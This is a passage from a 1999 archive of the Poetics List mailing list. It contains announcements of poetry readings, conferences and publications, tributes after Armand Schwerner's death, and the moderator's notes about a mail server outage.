KIM ADDONIZIO, author of two books of poetry from BOA Editions: The Philosopher's Club and Jimmy & Rita, and winner of two NEA grants and a Pushcart Prize.

with special guest ADAM DE GRAFF

Poetry reading!
9x9 Industries
Adobe Bookshop, Thursday, February 18, 1999
3166 16th St. (at Guerrero)
San Francisco
8 PM, FREE
[redacted] for media or more information

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

↑ Index

167. Roger Farr
EWL1 (fwd)
Mon 15 Feb 1999

> Experimental Writing Laboratory I
> February 20, 1999
> 8:00 pm
> Free
>
> If you're looking for a change or would like to supplement your poetics, expand your technical repetoire, and diversify your writing portfolio, this practical laboratory will help you to understand how to achieve these goals. Find out what experimental writing is and how it differs from > creative writing. Evaluate whether experimental writing is for you. Find out how to choose compositional devices suited to your needs.

>
> Bring scissors, adhesives, paper, and one computer disk.
>
> The Old Kootenay School of Writing
> 112 West Hastings Street
>
> To register call [redacted].

↑ Index

168. Rebecca Wolff
my reading at the Ear Inn
Mon 15 Feb 1999

Hello, I, Rebecca Wolff, am reading my very own poems at the Ear Inn on February 27th, at 3 pm.

326 Spring Street, west of Greenwich Street, New York City.

Also reading:

Noelle Kocot
Maggie Barrett

↑ Index

169. Tom Beckett
Nothing Is Indivisible
Tue 16 Feb 1999

If triangle could talk circle would embrace it like rearrangements of hesitations skewed into cubist mouths situationist rectums
the disconnection between thought and cock or clock or cloud

↑ Index

170. Pritchett,Patrick

Re: Left Hand Reading Series - Feb.99

Tue 16 Feb 1999

> THE LEFT HAND READING SERIES FOR FEBRUARY 1999:
>
> ANDREW SCHELLING
> MARILYN KRYSL
> MERRILL GILFILLAN
>
> Thursday, February 18, 1999 at 8:30pm
> Left Hand Books, 1825 Pearl Street, Boulder, btwn. 18th & 19th), above the Crystal Market
>
> Andrew Schelling's books include "Old Growth: Poems & Notebooks, 1986-1994." His latest translation from the Sanskrit is "Cane Groves of Naramanda," from City Lights Books. He is the recipient of several awards for his translations and teaches at The Naropa Institute.
>
> Marilyn Krysl is the author of numerous books of poetry and fiction. Her latest volumes include a collection of short stories entitled "How To Accommodate Men" and "Warscape With Lovers," which won the Cleveland State University Poetry Prize. She is Director of the Creative Writing Program at the University of Colorado.
>
> Merrill Gilfillan is the author of seven books of poetry and two collections of short fiction. His most recent publications are "Chokecherry Places: Essay from the High Plains," and "Satin Street," a collection of poems.
>
> A brief Open Reading will precede the featured readers.
>
> For more information, please contact Mark DuCharme at [redacted] or Patrick Pritchett at [redacted].

↑ Index

171. David Baratier

Invitorium

Tue 16 Feb 1999

John M. Bennett & I
are a new magazine
send things pick medium objects are a possibility if you excel

with labels give us a name

Be well

David Baratier
3252 Indianola Ave, Apt A
Columbus OH 43202
USA

↑ Index

172. Poetics List list status
Tue 16 Feb 1999

"Lazarus-like, th' electronic mail returns." Tennyson

The mailhub for <buffalo.edu> has been restored to service as of this morning; and here I am with a box full of list messages. I'll get through them as quickly as I can, but be forewarned there may be some delay before posts reach the list; your patience is appreciated. It would also be helpful to me if we could keep the posting very light for a day or two, long enough to sift through and eliminate duplicate messages, catch up on new subscriptions etc. I'll post an update as soon as the workload gets more manageable, probably by Thursday. In the meantime, if I could ask that you please post only time-sensitive messages, items that need to go out before the end of the week or that relate to current news.

thanks, Chris

Christopher W. Alexander
poetics list moderator

↑ Index

173. Poetics List
another note
Tue 16 Feb 1999

Some of the messages held in queue from the our mailhub failure of about 10 days ago are available now. These I have to forward manually, but I will leave the abbreviated headers from the orig. messages in the body of the post - that is, you should see the date and address of the original sender in the message. Please remember to consult or respond to this person, and not to me!

thanks, Chris

↑ Index

174. Poetics List
Armand Schwerner
Tue 16 Feb 1999

Date: Fri, 05 Feb 1999 12:02:56 -0800
To: [redacted]
From: Mark Weiss <[redacted]>
Subject: Armand Schwerner

Armand's _The Tablets_, for the first time complete, if that's the term, will be available from National Poetry Foundation, and his Selected Shorter Poems (comprising about 2/3 of his non-Tablets poetry plus a handful of translations) from Junction Press within the next two months. Both are in the final stages of pre-press. His translations of _The Inferno_, which he still hoped to complete as recently as a month ago, are to be published by Talisman. Ed Foster can probably tell us when to expect them. He was my friend and teacher. Editing his work with him has been a last great privilege. Selah.

↑ Index

175. Poetics List
Martha Ronk
Tue 16 Feb 1999

From: "Kathy Lou Schultz" <[redacted]>
To: "UB Poetics discussion group" <[redacted]>
Subject: Martha Ronk
Date: Fri, 5 Feb 1999 15:01:42 -0800

Seeking e-mail and snail mail for Martha Ronk.

Much appreciated,
Kathy Lou Schultz
[redacted]

↑ Index

176. Poetics List
The Flea Theatre Reading Series, New York, Feb 17
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 21:27:16 +0000
To: [redacted]
From: Alaric Sumner <[redacted]>
Subject: The Flea Theatre Reading Series, New York, Feb 17
Cc: [redacted], [redacted],
[redacted]

February 17
4pm

Rehearsed reading of >Conversation in Colour<
Text: Alaric Sumner
Directed: Clyde Simon
Music commissioned from composer Michael Finnissy.

The Bat Theatre Company [http://www.thebat.com]
The Flea Theatre
41 White Street
New York
NY 10013

> The Flea Theatre Reading Series
>
> This series will include pieces ranging from works-in-progress having their first readings, to new pieces which have already had productions outside New York. Although open to the public (gratis), the series is primarily for the benefit of the resident company to introduce new works/writers to the company, including to Artistic Director Jim Simpson, as candidates for further collaboration.

Conversation in Colour was first performed at the Tate Gallery St Ives and Dartington Arts Centre in 1996 (with recordings of Finnissy playing his own music) funded by South West Theatre Consortium and sponsored by Terry Bird (Bang and Olufsen South West). In 1994, Phil Dalziel (an MA student at University of Leeds) devised a performance out of the text for his final degree showing.

↑ Index

177. Poetics List
pagemothers inquiry
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 16:47:55 -0700 (MST)
From: R M Daley <[redacted]>
To: UB Poetics discussion group <[redacted]>
Subject: pagemothers inquiry

can someone please re-post the specifics (date/time/event info) for the pagemothers conference to be held in san diego i believe at the beginning of march?

much obliged,
rachel daley

↑ Index

178. Poetics List
armand schwerner...
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 18:09:52 -0600 (CST)
To: [redacted]
From: Joe Amato/Kass Fleisher <[redacted]>
Subject: armand schwerner...

[apologies to those who see this cross-listed]

sad news about armand schwerner... i met him at the cross-cultural poetix conference in minneapolis two falls ago, but never had a chance to really talk with him... he'd participated in my "nous refuse" electronic writing collective for a spell some years back...

i have his and donald kaplan's _the poets' encyclopedia_ sitting on my shelf---have always taken pleasure in flipping through the assorted insights, rants, trivia, quotes, photos, gossip, etc...

sad news... he had reach...

///

joe

↑ Index

179. Poetics List
Re: Armand Schwerner
Tue 16 Feb 1999

Date: Sat, 6 Feb 1999 00:50:59 -0500 (EST)
To: UB Poetics discussion group <[redacted]>
From: [redacted] (joel lewis)
Subject: Re: Armand Schwerner

I knew Armand for over twenty years -- his friend Charles Morrow brought him with to read at my little series in North Bergen, NJ. As a young poet, found him a bit scary and formidable -- a great contarst to the St. mark's poets i ws just beginning to know. In later years, found him a very generous and warm person -- i have fond memories of his 65th birthday party -- a roomful of poets and artists.

Armand was also a practicing musician -- a clarinet player, he actually studied with Lennie Tristanoa as a young man &, for a time in the early 80's, he played in a gamelan ensemble

I always admired his powerful line (less evident in the fragmented tablets) & was lucky to find a copy of Seaweed, his only effort with Black Sparrow. Someone shoulf reissue his long essay on Wallace Stevens that appeared in Kulchur

Joel Lewis

↑ Index

180. Poetics List

Post-war American Poetry: An International Conference

Tue 16 Feb 1999

Date: Sat, 06 Feb 1999 11:48:28 +0100
To: [redacted]
From: Michel Delville <[redacted]>
Subject: Post-war American Poetry: An International Conference

---
POST-WAR AMERICAN POETRY
University of Liège (Belgium) -- March 3-5, 1999

Guest readers and keynote speakers

Joe Amato
Maxine Chernoff
Steve Evans
H. Kassia Fleisher
Paul Hoover
Pierre Lagayette
Peter Middleton
Jennifer Moxley
Peter Nicholls
Keith Waldrop
Rosmarie Waldrop

Dear listers,

We've just posted the complete schedule for the Liège "Post-war American Poetry" conference on the Ulg web site:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Michel Delville

Michel Delville
English Department

University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

181. Poetics List
Norman Bluhm
Tue 16 Feb 1999

From: "Ron Silliman" <[redacted]>
To: "Poetics List" <[redacted]>
Subject: Norman Bluhm
Date: Sat, 6 Feb 1999 06:31:05 -0500

Norman Bluhm, a painter who collaborated with and/or did covers for such poets as Frank O'Hara, Bill Berkson & John Yau has died.

http://www.nytimes.com/yr/mo/day/news/national/obit-bluhm.html

↑ Index

182. Poetics List
Armand Schwerner (1927-1999)
Tue 16 Feb 1999

Date: Sat, 6 Feb 1999 11:03:38 -0500 (EST)
To: [redacted]
From: "Burt J. Kimmelman (14979)" <[redacted]>
Subject: Armand Schwerner (1927-1999)

I was very moved by Charles's announcement - especially by his selections of verse appropriate to - Armand's passing and his life overall. And of course since that posting many folks have reminisced about Armand or otherwise expressed their feelings of loss and/or quoted from other of his work.

So I'd like to share this wonderful passage, possibly lesser-known, from Armand's reminiscence "The Aquarium Fancier":

"[T]he poet, though forever exiled from the hawksoar, can be a flexible slinger. In his youth Rimbaudian indignation at gravity's impositions, however moderated by his intelligence, often serves as food for metaphors of power. I think of Lautreamont's Chants de Maldoror and its offspring Romantic protestants. In mid-life the poet may fall into a greed-dream pierced by flashing visitations of great flightless birds - emu, cassowary, the small rhea. If not flight at least these, an arrangement, a compromise, a standing, I'll make a deal, empower me. Through sweet-smelling honeycombs of the world, unlikely stand-ins for carnivores, poets wander: daring ornithopter-persons whose heavy Icarian wings - thickened by the waxy exudae of savory delusions - suffer a dashed grounding; it is one function of poetry to embody again and again the saving clear-eyed anguish of such falls to earth."

I saw Armand a number of times over the last years and we had a lot of correspondence over phone, email and snailmail during that time. I am grateful that he sought me out and mentored me, kindly and brilliantly, of late. I had first discovered his work, heard him read, met him briefly, in the 60s, when he as a poet was really first getting up a head of steam. His was a breakthrough poetry for me. I many years later met him again at a party, and it was after that that our relationship developed. As Joel Lewis and I agreed with one another on the phone yesterday, the young Armand was a really crazy guy, who had mellowed since. But he was always to me amazing, just the same. And he was a handsome man - who was physically ravaged in later years, to me a particular sadness. In this last period of his renewed fight with cancer, I have been struck by what might glibly be called his bravery - not that so much as an ability to live in the present, to take advantage of whatever time he had. Even when he could no longer speak, he was very much alive, interested in so very much going on around him. This was a new kind of role modeling I have now to keep.

P.S. For those who don't know Armand's work as well as they might want to, I recommend, aside from his own volumes (and as has been mentioned on this list, a new Selected will be out shortly as well as, probably not right away but eventually, a complete The Tablets including a CD ROM, I believe, from the National Poetry Foundation) the entry in the Dictionary of Literary Biography, written by Arthur Sabatini, and the recent Talisman issue that contains some of Armand's recent work, an interview, and a collection of essays on the work.

Burt Kimmelman

.

↑ Index

183. Poetics List

Alan Sondheim's 'The Case of the Real'

Tue 16 Feb 1999

Date: Sat, 06 Feb 1999 12:29:09 -0500
To: [redacted]
From: Peter Ganick <[redacted]>
Subject: Alan Sondheim's 'The Case of the Real'

Potes & Poets Press announces the publication of Alan Sondheim's 'The Case of the Real' in two volumes...

The 'Case of the Real' discusses virtual subjectivity (online, electronic, cyborg, hallucinatory) in relation to the 'psychical real'. The phenomenology of writing and the notion of the constituted entity or world - the issues of foundations and protocols - are analyzed. Who or what are the subject and object? Do these terms - do any _coupled_ terms - have relevance in universes of information and desire? The 'Case of the Real' is a case in point and a vital philosophical/poetic inquiry at the same time.

Both volumes are available for a combined price of $13 from Small Press Distribution, 1341 Seventh Avenue, Berkeley CA 94710 -- [redacted] -- or -- [redacted].

ISBNs 0-937013-90-9 (vol.1) and 0-937013-91-9 (vol. 2)

Inquiries:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005

↑ Index

184. Poetics List

Sliding

Tue 16 Feb 1999

Date: Sat, 13 Feb 1999 01:09:05 -0500 (EST)
From: "A. Jenn Sondheim" <[redacted]>
To: Poetics <[redacted]> Subject: Sliding

/

Sliding

The original random language program I did, with the TI59 calculator, was written with three different vocabularies: Icelandic Edda; Marxist Poli- tical; and Sexual. The Julu program I wrote a couple of years ago in Perl is being rewritten, from sexualized emanation to programming wetware.

In both examples, the underlying structures remain more or less the same. And I want to make the case that this is also true of human knowledge - that, for example, the structure of the Kabbalah and quark theory might not be all that different - as words and resonances slide in reference, across similar, if not equivalent, structures.

For me, this is one of the essential points of thinking, which is why I love the Bourbaki, with their notion of mother-structures. It is also one of the reasons I'm suspicious of reference in general; reference is guided by structure, which it inhabits - the same structure inhabited by reason itself.

I cannot resist knowledge; I can burrow in structures, write and rewrite as if I were _wryting_ concepts and emanations and wetwares into exis- tence. And that has always been the case, from the originary RNA/DNA and their molecular forebears, through the ciphers of the I Ching, to the /dev/null of Lyotard's Libidinal Economy, Jasper's Cipher, Sartre's Nausee, Deleuze/Guattari's body-without-organs, not to mention the Kab- balistic Emanations and Adam haKadmon.

What are the structures, that we may fulfill them? What is consciousness, that inhabits the Same?

↑ Index

185. Pritchett,Patrick
Notley Talk
Tue 16 Feb 1999

The American Museum of Poetics presents the latest installment of its talk series on American Poet Greats:

PATRICK PRITCHETT on ALICE NOTLEY
Tuesday, February 23 at 7:30pm
Boulder Book Store
1107 Pearl Street
FREE

Alice Notley is the author of numerous books of poetry, including "How Spring Comes," "At Night The States," and most recently, "The Descent of Alette," and "Mysteries of Small Houses." Her groundbreaking and inventive work combines a non-sectarian feminist writing practive with a highly original and imaginative (anti)lyric.

Patrick Pritchett is the author of "Ark Dive," an elegy for Ronald Johnson. His essay on Anselm Hollo will appear later this year in Andrei Codrescu's anthology, "Thus Spake The Corpse."

↑ Index

186. Poetics List
Station Hill Blanchot Reader
Tue 16 Feb 1999

From: "george quasha" <[redacted]>
To: <[redacted]>
Subject: Station Hill Blanchot Reader
Date: Sat, 13 Feb 1999 04:08:58 -0800

Announcing:

THE STATION HILL BLANCHOT READER, Maurice Blanchot, ed. George Quasha

Long-awaited and now available, THE STATION HILL BLANCHOT READER brings together seven of the great French writer's eight books published by Station Hill over the past twenty years: VICIOUS CIRCLES, THOMAS THE OBSCURE, DEATH SENTENCE, THE MADNESS OF THE DAY, WHEN THE TIME COMES, THE ONE WHO WAS STANDING APART FROM ME, and ten of the eleven essays from THE GAZE OF ORPHEUS AND OTHER LITERARY ESSAYS. This Reader represents most of the fiction (rÈcits) Blanchot published and an introductory selection of his philosophical/literary essays from several major books. Celebrated translations by Lydia Davis, Paul Auster, and Robert Lamberton. Preface by George Quasha, Foreword by Christopher Fynsk, Afterword ("Publishing Blanchot in America: A Metapoetic View") by George Quasha and Charles Stein. 560 pages. $29.95. ISBN: 1-886449-17-1.

MAURICE BLANCHOT, born in 1907, is the author of some thirty-five books of fiction and literary and philosophical discourse, the majority of which are now available in English. His enormous importance for contemporary literature and thought is finally being recognized outside France, and critical studies abound in English as in French. The recent extensive "biographical essay" by Christoph Bident, PARTENAIRE INVISIBLE (Editions Champ Vallon, 1998) gives a new perspective on the work in view of the life. It includes a full-scale bibliography of works in French. A chronology of his works in French and lists of his works and secondary literature in English may be found on the World Wide Web: http://lists.village.virginia.edu/~spoons/blanchot/blanchot_mainpage.htm.

20% DISCOUNT for Poetics List participants: YOU MUST MENTION CODE #: PL9171

CREDIT CARD BOOK ORDERS: [redacted]
ORDER BY CHECK or MONEY ORDER payable to "Station Hill": Station Hill Press/Barrytown, Ltd. Barrytown, NY 12507

ADD $3.75 for shipping and handling for the first book; $1.00 for each three additional books.

Phone: Office: [redacted]; Fax: [redacted]

For related titles:
http://www.stationhill.org
e-mail: [redacted]

↑ Index

187. Summi Kaipa
Re: pagemothers inquiry
Tue 16 Feb 1999

Rachel--

Here's the info I've gotten through others. Maybe I'll see you at the conference.

Best,
Summi

PAGE MOTHERS
the poets their presses their poetics
March 5-6, 1999

Friday, March 5: Seuss Room, Geisel Library, UC San Diego 4:00 - 5:00Reception & Welcome by Rae Armantrout 5:45 - 7:15 A Little History (1960-1980)
Michael Davidson (UC San Diego)
Harryette Mullen (UC Los Angeles)
Kathleen Fraser (However)
Patricia Dienstfrey (Kelsey Street Press)
Simone Fattal (Post Apollo Press)
Saturday, March 6 Seuss Room, Geisel Library, UC San Diego8:00 - 8:30 Coffee 8:30 - 10:00 Poetics and Such Myung Mi Kim (However)
Brenda Hillman (St. Mary's College)
Martha Ronk (Littoral Books)
Lyn Hejinian (Tuumba and Atelos)
10:00 - 10:30Coffee
10:30 - 12:00 How to Survive the Canon

Mary Margaret Sloan (Moving Borders)
Maureen Owen (Telephone Books)
Cristanne Miller (Pomona College) with co-presenter Lynn Keller (U of Wisconsin)
Carla Harryman (Q2)
Aldon Nielsen (Loyola Marymount University)
12:00 - 1:00 Lunch (Several choices available at the Price Center Food Court)
1:00 - 2:30 Mrs. Poetry the work of Bernadette Mayer
Stephen Cope (UC San Diego)
Leslie Scalapino (O Books)
Lee Ann Brown (Tender Buttons)
Juliana Spahr (Chain)
2:30 - 3:00 Coffee
3:00 - 4:30 Guess What's Next?
Marjorie Perloff (Stanford University)
Dodie Bellamy (Mirage) Laura Moriarty (non)
Renee Gladman (Clamour)
Pamela Lu (Idiom)
4:30 - 5:30 General Discussion
8:00 - 9:00 Faculty Club -- Free and Open to the Public Poetry Reading by Bernadette Mayer and Maureen Owen
At 02:28 PM 2/16/99 -0500, you wrote:
>Date: Fri, 5 Feb 1999 16:47:55 -0700 (MST)
>From: R M Daley <[redacted]>
>To: UB Poetics discussion group <[redacted]>
>Subject: pagemothers inquiry
>
>
>can someone please re-post the specifics (date/time/event info) for the >pagemothers conference to be held in san diego i believe at the beginning >of march?
>
>much obliged,
>rachel daley
>
>

↑ Index

188. Juliana Spahr conference on poetry and pedagogy
Tue 16 Feb 1999

Teresa asked me to forward this to the list.

If anyone wants a flyer for this conference, you can contact her also.

The conference is organized by the Institute for Writing and Thinking and it should be interesting.

Some scholarship aid will be available for poets and teachers who want to participate in the symposium on "Poetry and Pedagogy: The Challenge of the Contemporary," sponsored, June 24-27, 1999, by the Bard Institute for Writing and Thinking. The number of scholarships available will depend upon expenses and overall conference registration. Anyone interested in being considered for scholarship aid should send in the registration form included in the symposium flyer, indicate your need for scholarship aid on the form, and attach it to a note telling us something about yourself and your interest in this symposium. If you do not have a flyer, send a message to vilardi@bard and request one. The Institute will not be able to make decisions about scholarships until May 15, 1999.

Teresa Vilardi
Bard Institute for Writing and Thinking
Bard College
Annandale-on-Hudson, New York 12504
[redacted]; [redacted]

↑ Index

189. Mark Weiss
Re: Armand Schwerner
Tue 16 Feb 1999

To the best of my knowledge all of the verse and translations have either been published or are in process. I'm quite sure that's true for the verse. There are stacks of papers to be sorted in his loft--what they are remains to be seen, but the impression so far is that except for some letters and journals never intended for publication they are mainly offprints of other people's work. Mike Heller is Armand's literary executor. Give him a month and we'll all know more.

At 03:26 PM 2/16/99 -0500, you wrote:
>seeing your post i thought you might be able to answer a question for me -- >if there much work of AS around, still to be published or collected ?

>
>he'd sent me his Crystal Skull Pantoums some time back and i'd been meaning >to write him to ask for some work for my next magazine
>
>alas, this TO DO item was in a stack that also included to finish my reply >to the last letter i'd had from Dick Higgins
>
>thanx
>
>)L
>
>john lowther
>
>

↑ Index

190. Aldon Nielsen
Re: a number of matters
Tue 16 Feb 1999

---

trying to save e-space -- so am compacting several notes in one post

_____
info on PAGEMOTHERS conference may be found at:

http://orpheus.ucsd.edu/lit/pagemothers.html

_____

Reading in Los Angeles!!!!!!

Tuesday 2/23

Alfred Arteaga and Will Alexander

at Hanon Loft, Loyola Marymount University 7900 Loyola Blvd. -- L.A.
8:00 P.M.

for info. call [redacted]

_____
More sad news in LA & NY Times:

Pianist/teacher/Composer Jacki Byard was found shot to death in his home -- age 76 -- no explanation yet as to what happened --

_____

happier News in LA TIMES

check out front page of Tuesday LA Times for funny article on Lawrence Ferlinghetti's appointment to position of poet laureate of San Francisco

↑ Index

191. David Buuck
Tripwire: a journal of poetics
Tue 16 Feb 1999

Given the recent beginnings of a discussion around the gender of authors - or the "genderedness" of writing - I thought it might be appropriate to re-post this call for submissions (deadline has been extended), as well as info on ordering the current issue.

Tripwire: a journal of poetics
edited by Yedda Morrison & David Buuck

Call for submissions for issue #3 : GENDER

How does gender enter into, shape, and reconfigure language and vice versa. Gender & economy, authority, autonomy, indentity & experiment. Pronouns, powere & representation. Feminist theory (evolution & application). Gender & tradition, inheritance, audience & community. Gender & genre. Formal exploration, meaning & value. Gender & current practice.

TRIPWIRE invites submissions of essays, translations, interviews, art & book reviews, and visual art. All visual art submissions should be reproducible in black & white; visual artists are encouraged to include a statement about their work. At this time, we are not accepting unsolicited poetry for publication. Submissions for issue 3 should be received by April 15, 1999.

Copies of issue #2 - Writing as Activism: The Aesthetics of Political Engagement - are still available for $8 per ($15 for 2 issue subscription). Please add $2 for s&h outside the USA. Issue #2 features: Steven Farmer, Ben Friedlander, Danielle Collobert (trans. Norma Cole), Rodrigo Toscano, Brenda Iijima, Brian Kim Stefans, Noah de Lissovoy, Kristin Prevallet, Jack Hirschman, Lawless Crow (with interview by John Lowther & Randy Prunty), Sarah Anne Cox & Elizabeth Treadwell, Rod Smith, Rob Fitterman, Dodie Bellamy, Patrick Durgin, William Ayton, Kathy Lou Schultz, Pamela Lu, Louis Cabri, Juliana Spahr, Anselm Berrigan, Lytle Shaw, & Chris Chen. 180 pages.

Submissions, subscriptions, & inquiries to :

Tripwire
c/o Morrison & Buuck
PO Box 420936
SF CA 94142

[redacted]

Issues 1 & 2 also available from Small Press Distribution.

↑ Index

192. David Baratier
Reinvitorium
Tue 16 Feb 1999

Addendum to clarify based upon responses:

The mag is not e-text or web. It is printed matter

E-mail or smail visuals and text

Visuals: Tif files, mailed originals or clear photocopies are preferred

4-color is within the realm, so are assemblages, backchannel the project idea

Languages other than English are fine

Obviously send SASE

Be well

David Baratier

↑ Index

193. Pamela Brown web site address change
Tue 16 Feb 1999

Hello everyone please note a web site address change for Pam Brown

http://www.geocities.com/SoHo/Workshop/7629/

Same old site but....
Best wishes
Pam

↑ Index

194. Sean Casey poetry & sound
Wed 17 Feb 1999

I'm researching the combinations of word with sound, from sound poems to poetry accompanied by music (improvised, composed, collage, ambient, jazz), from no specific time period or language.

I would appreciate any recommendations from the list of recordings I should check out.

My address: [redacted]

Also, I'd be interested in corresponding with any list members who have done some exploration in these areas.

Thank you,
Sean

--
Issues
http://www.cs.brown.edu/~raj/issues/

↑ Index

195. nuyopoman
poetry/radio
Wed 17 Feb 1999

To: Herb'n'All:

Even tho Mouth Almighty has been squeezed out of distribution city by recent corporate merge (Polygram into Universal equals poetry no go), the website continues to Spread the Word. Of note is the 80 or so Poetry Radio shows identified in last summer's rush to a Top 20 Poetry Count Down. Get station contact info at: http://www.mouthalmighty.com/radio.htm

Bob Holman

↑ Index

196. Loss Pequen~o Glazier
Mail Loss
Wed 17 Feb 1999

Just a note to those who may have posted to the list or who might have sent mail to anyone at UB recently. First, mail was delayed for great amounts of time and has only now been slowly restored. Second, a good number of messages, maybe as many as a million, were obliterated by the jaws of technology. In the words of the computing center here:

"The potential for mail loss is known to be from around noon on Saturday Feb 6 through 12:01am Sunday Feb 7. Backups of the mail system files were running from 2/6 Noon to midnight - email loss would have occurred if new mail was delivered to you during this period after your folders were backed up. It is not possible to determine exactly what may have been lost."

Just so that you know. If anything important was sent or if you posted to the list and it disappeared, it might have been due to these technical difficulties...

↑ Index

197. Poetics List
Stuart Z. Perkoff and the Temple of Man
Wed 17 Feb 1999

Had to reformat this somewhat. Chris

---------- Original message (ID=8C623F0F) (109 lines) ----------

From: "jesse glass" <[redacted]>
To: "UB Poetics discussion group" <[redacted]>
Subject: Stuart Z. Perkoff and the Temple of Man
Date: Sun, 7 Feb 1999 17:40:07 -0800

Beach and Temple; Outsider Poets and Artists of Western America 1953-1995 by David B. Griffiths. International Scholars Publications. ISBN 1-57309-311-4-HC, ALK, Paper. 425 pages. $40.00.

At the same time that Ginsberg, Kerouac, Corso and company were transforming American letters to the north, a group of poets centered in the Venice Beach area of California were also involved in creating a distinctive poetry. This scene centered around the work and life of Stuart Z. Perkoff, a poet whose significance is just now being rediscovered, his complete poems having recently been released from The National Poetry Foundation. Jack Hirschman, David Meltzer, and other poets and writers of note were associated with this group and their peculiar allegiance to The Lady and the self-styled Temple of Man.

Griffiths interviewed many members of the group and examines and catalogues the rare publications that sustained their community. In so doing, he gives valuable biographical information about Perkoff and provides the context in which he and his friends, lovers, and followers lived and wrote. This book will prove invaluable for those interested in a little-known aspect of American literary history, and is yet another piece of the puzzle of what happened in the 1950's that gave rise to the explosion of alternative lifestyles of the 1960's.

Jesse Glass.

↑ Index

198. Michael Franco
CAMBRIDGE / BOSTON READINGS
Wed 17 Feb 1999

MICHAEL FRANCO reads HOW TO LIVE AS A SINGLE NATURAL BEING THE DOGMATIC NATURE OF EXPERIENCE [ZOLAND 1998] with Zoland Poet JOHN MALONEY at Blacksmith House, Cambridge, Ma Monday 2-22-99 @8:15pm $3.00

Word of Mouth @ Waterstone's, Newbury St, Boston:
JOSEPH TORRA & ED BARRETT read from their collaboration WATTEAU SKY [Gian
Lombardo's Qual Press] joined by PATRICIA PRUITT reading from her recently issued SESSIONS [Jenson & Daniels]
TUESDAY 2-23-1999
7:PM $3.00

↑ Index

199. Poetics List
TF8 - 2/99 - Coffins
Wed 17 Feb 1999

Had to reformat this one, too. Chris

---------- Original message (ID5ECE42) (257 lines) ----------

Date: Sun, 7 Feb 1999 19:06:49 -0500
To: Poetics List <[redacted]>
From: Garrett Kalleberg <[redacted]>
Subject: TF8 - 2/99 - Coffins

Little cave. Seventeen tiny coffins.

A wig-maker's tomb.

The devil's hermitage.

A hole a cave a mouth.

[Tiny figure of red devil.]

> The Transcendental Friend
> Issue No. 8, February 1999
>
> www.morningred.com/friend/1999/02/cover.html

Work by Jesse Glass, Aloysius Bertrand (translated & presented by Irène Eulriet & Rob Guthrie), Charles Baudelaire (translated by David Cameron), Pam Rehm, and H. Ramsdell & G. Kalleberg

Back issues of The Transcendental Friend are available from the Home page, at the address below.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

200. Michael Magee
Re: Jaki Byard
Wed 17 Feb 1999

According to Aldon Nielsen:
> _____
> More sad news in LA & NY Times:
>
> Pianist/teacher/Composer Jacki Byard was found shot to death in his home -- > age 76 -- no explanation yet as to what happened --
>

Ugh, this is awful - for those who don't know the work, Byard is at piano on some of the most avant jazz sessions of the 50's & 60's including (the ones i have handy by this computer) Far Cry w/ Dolphy, Booker Little and Roy Haynes, and Mingus's The Black Saint and the Sinner Lady. What a terrible indignity. -m.

↑ Index

201. Poetics List
THE CAMBRIDGE CONFERENCE OF CONTEMPORARY POETRY
Wed 17 Feb 1999

I rec'd this notice at my personal account, and thought it might be of interest here. For further details, please refer to the contact addresses below. Chris

THE CAMBRIDGE CONFERENCE OF CONTEMPORARY POETRY

this year at Trinity College, Cambridge. 23rd to 25th April Starts Friday evening, runs to Sunday evening. Consists basically of poetry readings, with some musical, performance or other events.

All events open to the public.
Week-end tickets, day-tickets or single event tickets will be available.
Registration is not required. The conference is not residential.

PROVISIONAL INFORMATION FOR CCCP1999---

The following poets are invited, in some cases still subject to confirmation pending financial arrangements etc. A final list will be issued at a later date.

from UK: Michael Ayres, Andy Johnson, Bob Walker, plus other from France: Andres Ajens, Oscarine Bosquet, Michel Deguy, Christian Prigent, Christophe Tarkos

from Canada: Erin Mouré

from USA: Andrea Brady, William Fuller, Michael Palmer

from Australia: Robert Adamson from Ireland: probably from Music: Simon Fell

Inquiries:
Rod Mengham, Jesus College, Cambridge. fax: 01223 328959
Kevin Nolan. e-mail [redacted]
Peter Riley. phone/fax 01223 576422. e-mail [redacted]

Booking will not begin until March

↑ Index

202. Poetics List
Re: Stuart Z. Perkoff and the Temple of Man
Wed 17 Feb 1999

---------- Original message (ID=3730B88A) (55 lines) ----------

Date: Wed, 17 Feb 1999 10:19:13 -0600 To: UB Poetics discussion group <[redacted]> From: Maria Damon <[redacted]> (Maria Damon) Subject: Re: Stuart Z. Perkoff and the Temple of Man a good book about this is John Arthur Maynard's Venice West: The Beat Generation in Southern California. Rutgers UP

↑ Index

203. Maria Damon (Maria Damon)

Re: poetry & sound

Wed 17 Feb 1999

---

search the epc archives of the poetics list; i remember fairly extended discussions of this topic, plus some good discography, about 2 years ago or so.

At 1:55 AM 2/17/99, Sean Casey wrote:
>I'm researching the combinations of word with sound, from
>sound poems to poetry accompanied by music (improvised, >composed, collage, ambient, jazz), from no specific time period
>or language.
>
>I would appreciate any recommendations from the list of >recordings I should check out.
>
>My address: [redacted]
>
>Also, I'd be interested in corresponding with any list members >who have done some exploration in these areas.
>
>Thank you,
>Sean
>
>
>
>
>
>
>
>
>
>
>--
>Issues
>http://www.cs.brown.edu/~raj/issues/

↑ Index

204. Katherine Lederer
New Vegas Web Zine
Wed 17 Feb 1999

If you want the scoop on terrific new Vegas poets... new Vegas Web Zine:
http://www.vegaslounge.com/chance/winter1998/

Cool article on it:
http://www.wired.com/news/news/culture/story/15655.html

↑ Index

205. Jennifer Rosenthal long poem
Wed 17 Feb 1999

This is a multi-part message in MIME format.

I am writing about the American long poem 1945-1960 and am particularly interested in issues of place. Does anyone have suggestions of poems that I might have overlooked?
Thanks!
Jennifer Rosenthal
[redacted]

↑ Index

206. raea100900
Re: pagemothers inquiry
Wed 17 Feb 1999

Dear Rachel,

